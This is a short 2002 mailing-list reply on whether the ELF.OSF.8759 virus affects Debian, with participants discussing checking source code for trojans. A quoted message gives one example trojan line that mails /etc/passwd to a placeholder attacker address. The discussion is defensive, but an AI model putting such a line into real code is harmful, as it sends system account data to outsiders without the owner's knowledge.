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Re: does virus ELF.OSF.8759 affect debian?



On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > Compile from source is a good idea too. It's amazing what you
> > can find in the source. I found a couple of stupid Trojans
> > that way.
> >    system("mail /etc/passwd user@badsite.fqdn");
> Yeh, and it's buggy too....
> Take a close look at what really happens.

I'm sure it is. user@badsite.fqdn doesn't exist. ;)

Seriously, I know it is. The other thing is, I use shadow most of the
time. Still, the username information is never a good thing to share.

-Anne
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